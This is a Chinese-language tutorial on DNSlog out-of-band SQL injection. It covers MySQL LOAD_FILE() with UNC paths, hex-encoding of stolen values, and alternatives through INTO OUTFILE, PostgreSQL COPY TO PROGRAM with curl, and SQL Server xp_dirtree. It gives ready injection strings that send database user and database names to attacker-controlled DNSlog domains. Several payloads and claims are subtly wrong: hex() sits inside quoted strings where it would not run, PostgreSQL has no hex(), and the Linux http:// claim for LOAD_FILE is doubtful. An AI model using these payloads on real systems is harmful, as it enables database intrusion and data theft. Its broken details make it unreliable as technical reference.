在 Web 安全测试中,当遇到 SQL 注入但无法通过联合查询直接获取数据时,盲注往往是无奈之选。但手工盲注效率极低,自动化工具又可能因频繁请求被封 IP。此时,DNSlog 注入(DNS 带外查询) 作为一种巧妙的注入姿势,能通过 DNS 解析记录 “带外” 获取数据,成为突破困境的关键技术。本文将深入解析 DNS 注入的原理、工具与实战技巧。
一、什么是 DNSlog 注入?
DNSlog 注入本质是一种带外数据获取技术,核心逻辑是:通过构造特殊 SQL 语句,让数据库在执行时主动发起 DNS 查询,查询的域名中包含我们需要获取的数据(如数据库名、用户名等)。之后,通过查看 DNS 服务器的解析日志,即可从域名中提取目标数据。
与传统盲注相比,它的优势在于:
- 无需逐字符猜解,可批量获取数据;
- 减少与目标服务器的直接交互,降低被封禁风险;
- 适用于 “布尔盲注”“时间盲注” 等难以直接回显的场景。
二、核心工具:LOAD_FILE () 函数与 DNSlog 平台
DNS 注入的实现依赖两个关键要素:数据库的文件读取函数(如 MySQL 的
LOAD_FILE()
)和可控的 DNSlog 平台(用于接收解析记录)。1. MySQL 的 LOAD_FILE () 函数:数据带出的核心
LOAD_FILE()
是 MySQL 中用于读取文件并返回内容的函数,但在 DNS 注入中,它的作用是触发 DNS 查询—— 当传入的路径是一个域名时,MySQL 会尝试解析该域名,从而将数据 “嵌入” 域名中发送到 DNS 服务器。使用LOAD_FILE()
的前提条件:
secure_file_priv
配置为空:
通过show global variables like '%secure_file_priv%';
查看,其值决定了LOAD_FILE()
的权限:NULL
:禁止所有导入导出(无法使用);- 具体路径:仅允许操作指定目录(需路径匹配);
- 空值(
''
):无限制(最理想状态)。
- 拥有 FILE 权限:数据库用户需具备
FILE
权限才能调用LOAD_FILE()
。 - 路径格式正确:需使用完整路径,在 Windows 下常用 UNC 路径(如
//domain/path
),Linux 下可结合协议(如http://domain
)。 - 文件大小限制:读取内容需小于
max_allowed_packet
(默认 1MB),但 DNS 注入中仅需触发解析,无需实际读取文件内容。
2. DNSlog 平台:接收数据的 “信使”
DNSlog 平台是提供可控子域名的服务(如
dnslog.cn
、ceye.io
),用户可获取一个专属子域名(如qn8lya.dnslog.cn
),当目标服务器解析该子域名的衍生域名(如test.qn8lya.dnslog.cn
)时,平台会记录解析日志,从而获取嵌入的信息。常用平台:
三、UNC 路径:跨系统的路径适配关键
LOAD_FILE()
触发 DNS 查询的核心是 “路径解析”,而UNC 路径(通用命名规则)是 Windows 下的关键,Linux 则需结合协议绕过,二者的适配直接影响注入成功率。1. Windows 系统的 UNC 路径
UNC 路径格式为
\\servername\sharename
(或//servername/sharename
,推荐后者),其中servername
可替换为域名。当LOAD_FILE()
传入//xxx.dnslog.cn/any
时,Windows 会优先解析xxx.dnslog.cn
,从而触发 DNS 查询。示例:
此时,
LOAD_FILE('//user_info.qn8lya.dnslog.cn/aaa')
此时,
user_info.qn8lya.dnslog.cn
会被解析,user_info
即为我们要带出的数据。2. Linux 系统的适配方案
Linux 默认不支持 UNC 路径(依赖 SMB 服务),但可通过
MySQL 会解析
http
/ftp
协议触发域名解析。例如:LOAD_FILE('http://user_info.rfyqg3.dnslog.cn')
MySQL 会解析
http://
后的域名,从而触发 DNS 请求(需 MySQL 版本支持远程 URL 解析)。四、DNS 注入实战步骤
以 MySQL 为例,完整流程分为 3 步,核心是将目标数据嵌入 DNS 域名并触发解析。
步骤 1:获取 DNSlog 子域名
在 DNSlog 平台注册后,获取专属子域名,例如
qn8lya.dnslog.cn
(后续所有衍生域名均基于此)。步骤 2:构造注入语句,嵌入目标数据
假设要获取数据库用户名(
user()
),需将其作为子域名的一部分,通过LOAD_FILE()
触发解析。基础语句(无特殊字符时):
id=1' and load_file(concat('//',user(),'.qn8lya.dnslog.cn/aaa')) -- s
concat()
用于拼接字符串,将user()
的结果作为子域名前缀;-- s
用于注释后续 SQL,避免语法错误。
处理特殊字符:Hex 编码转换
user()
的结果可能包含@
(如root@localhost
),而@
是 DNS 域名中的非法字符,会导致解析失败。此时需用hex()
函数将数据转为十六进制:id=1' and load_file(concat('//',hex(user()),'.rfyqg3.dnslog.cn/xxx')) -- s
步骤 3:查看 DNS 日志并解码
在 DNSlog 平台刷新日志,会看到类似
726f6f74406c6f63616c686f7374.rfyqg3.dnslog.cn
的解析记录,其中726f6f74406c6f63616c686f7374
即为user()
的十六进制结果。通过 MySQL 的
unhex()
函数解码:select unhex("726f6f74406c6f63616c686f7374");
-- 结果:root@localhost
五、LOAD_FILE () 禁用时的替代方案
若
LOAD_FILE()
被限制,可根据数据库类型选择其他带外查询方式:1. MySQL:INTO OUTFILE 写入远程路径
通过
INTO OUTFILE
写入远程 FTP 路径,触发域名解析:select 'test' into outfile 'ftp://hex(database()).xxx.dnslog.cn/tmp.txt'
hex(database())
将当前数据库名转为十六进制,作为子域名前缀;- MySQL 会解析
ftp://
后的域名,日志中可提取数据库名。
2. PostgreSQL:COPY 命令执行系统命令
PostgreSQL 的
COPY
可调用系统命令(如curl
),访问可控域名:COPY (select current_database()) TO PROGRAM 'curl http://'||hex(current_user())||'.xxx.dnslog.cn'
current_database()
获取当前数据库名,current_user()
获取当前用户;||
用于字符串拼接,curl
访问构造的 URL,触发 DNS 解析。
3. SQL Server:xp_dirtree 列出远程目录
SQL Server 的
xp_dirtree
可列出远程目录,解析域名时带出数据:exec master..xp_dirtree '\\hex(user()).xxx.dnslog.cn\share'
xp_dirtree
会解析\\
后的域名,hex(user())
将用户名转为十六进制;- 解析日志中可提取用户名的十六进制值。
六、总结与注意事项
DNSlog 注入通过 “带外查询” 巧妙避开了直接数据回显的限制,是盲注场景下的高效技术,但需注意:
- 权限依赖:多数方法依赖数据库高权限(如 FILE 权限、系统命令执行权限);
- 特殊字符处理:务必用
hex()
等函数处理特殊字符,避免 DNS 解析失败; - 跨系统差异:Windows 优先用 UNC 路径,Linux 结合
http
/ftp
协议; - 平台选择:优先使用稳定的 DNSlog 平台,避免解析延迟或日志丢失。